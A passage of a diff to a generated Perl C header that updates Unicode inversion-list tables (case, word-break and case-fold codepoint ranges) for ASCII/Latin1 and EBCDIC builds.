0x1720, - 0x1732, + 0x1737, 0x1740, - 0x1752, + 0x1754, 0x1760, 0x176D, 0x176E, 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, 0x1820, 0x1878, 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1A00, - 0x1A17, - 0x1B05, - 0x1B34, - 0x1B45, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FC5, + 0x1FC6, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FDD, + 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFF, + 0x2000, + 0x2065, + 0x2066, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CF4, + 0x2CF9, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4D0, + 0xA62C, + 0xA640, + 0xA6F8, + 0xA700, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, + 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, + 0xAB70, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xD800, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, + 0x10980, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE +}; + +static const UV Cased_invlist[] = { /* for EBCDIC 037 */ + 293, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x62, + 0x6A, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, + 0xAA, + 0xAC, + 0xAF, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x1BB, + 0x1BC, + 0x1C0, + 0x1C4, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2E0, + 0x2E5, + 0x345, + 0x346, + 0x370, + 0x374, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x561, + 0x588, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, 0x1C80, 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, 0x1D00, 0x1DC0, 0x1E00, @@ -353304,6 +64890,8 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x212A, 0x212E, 0x212F, + 0x2135, + 0x2139, 0x213A, 0x213C, 0x2140, @@ -353312,7 +64900,9 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x214E, 0x214F, 0x2160, - 0x2189, + 0x2180, + 0x2183, + 0x2185, 0x24B6, 0x24EA, 0x2C00, @@ -353331,406 +64921,46 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x2D28, 0x2D2D, 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x303B, - 0x303D, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, 0xA640, - 0xA66F, - 0xA67F, + 0xA66E, + 0xA680, 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, + 0xA722, + 0xA788, + 0xA78B, + 0xA78F, + 0xA790, 0xA7AF, 0xA7B0, 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, + 0xA7F8, + 0xA7FB, 0xAB30, + 0xAB5B, + 0xAB5C, 0xAB66, 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, + 0xABC0, 0xFB00, 0xFB07, 0xFB13, 0xFB18, - 0xFB50, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, 0xFF21, 0xFF3B, 0xFF41, 0xFF5B, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, 0x10400, - 0x1049E, + 0x10450, 0x104B0, 0x104D4, 0x104D8, 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, 0x10C80, 0x10CB3, 0x10CC0, 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, 0x118A0, 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, 0x1D400, 0x1D455, 0x1D456, @@ -353791,76 +65021,8 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x1D7C3, 0x1D7C4, 0x1D7CC, - 0x1E800, - 0x1E8C5, 0x1E900, 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, 0x1F130, 0x1F14A, 0x1F150, @@ -353869,15 +65031,64 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x1F18A }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_PERL_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_REGCOMP_C) + +static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 037 */ + 45, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x2BC, + 0x2BD, + 0x308, + 0x309, + 0x313, + 0x314, + 0x342, + 0x343, + 0x3AC, + 0x3AD, + 0x3AE, + 0x3AF, + 0x3B1, + 0x3B2, + 0x3B7, + 0x3B8, + 0x3B9, + 0x3BA, + 0x3C1, + 0x3C2, + 0x3C5, + 0x3C6, + 0x3C9, + 0x3CA, + 0x3CE, + 0x3CF, + 0x565, + 0x566, + 0x574, + 0x575, + 0x57E, + 0x57F, + 0x1F00, + 0x1F08, + 0x1F20, + 0x1F28, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F71, + 0x1F74, + 0x1F75, + 0x1F7C, + 0x1F7D +}; -static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ - 1041, /* Number of elements */ +static const UV _Perl_Any_Folds_invlist[] = { /* for EBCDIC 037 */ + 281, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -353895,6 +65106,8 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0x8C, 0x8F, 0x91, + 0x9A, + 0x9C, 0x9D, 0x9E, 0x9F, @@ -353903,11 +65116,7 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0xA2, 0xAA, 0xAC, - 0xAD, - 0xAE, 0xAF, - 0xBA, - 0xBB, 0xC1, 0xCA, 0xCB, @@ -353923,16 +65132,84 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0xFB, 0xFF, 0x100, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, + 0x131, + 0x132, + 0x138, + 0x139, + 0x18D, + 0x18E, + 0x19B, + 0x19C, + 0x1AA, + 0x1AC, + 0x1BA, + 0x1BC, + 0x1BE, + 0x1BF, + 0x1C0, + 0x1C4, + 0x221, + 0x222, + 0x234, + 0x23A, + 0x255, + 0x256, + 0x258, + 0x259, + 0x25A, + 0x25B, + 0x25D, + 0x260, + 0x262, + 0x263, + 0x264, + 0x265, + 0x267, + 0x268, + 0x26D, + 0x26F, + 0x270, + 0x271, + 0x273, + 0x275, + 0x276, + 0x27D, + 0x27E, + 0x280, + 0x281, + 0x283, + 0x284, + 0x287, + 0x28D, + 0x292, + 0x293, + 0x29D, + 0x29F, + 0x2BC, + 0x2BD, + 0x2BE, + 0x2BF, 0x300, + 0x302, + 0x307, + 0x309, + 0x30A, + 0x30B, + 0x30C, + 0x30D, + 0x313, + 0x314, + 0x331, + 0x332, + 0x342, + 0x343, + 0x345, + 0x346, 0x370, - 0x375, + 0x374, 0x376, 0x378, - 0x37A, + 0x37B, 0x37E, 0x37F, 0x380, @@ -353945,50 +65222,287 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0x38E, 0x3A2, 0x3A3, + 0x3D2, + 0x3D5, 0x3F6, 0x3F7, + 0x3FC, + 0x3FD, 0x482, 0x48A, 0x530, 0x531, 0x557, - 0x559, - 0x55A, 0x561, 0x588, - 0x5F3, - 0x5F4, - 0x620, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D79, + 0x1D7A, + 0x1D7D, + 0x1D7E, + 0x1E00, + 0x1E9C, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, 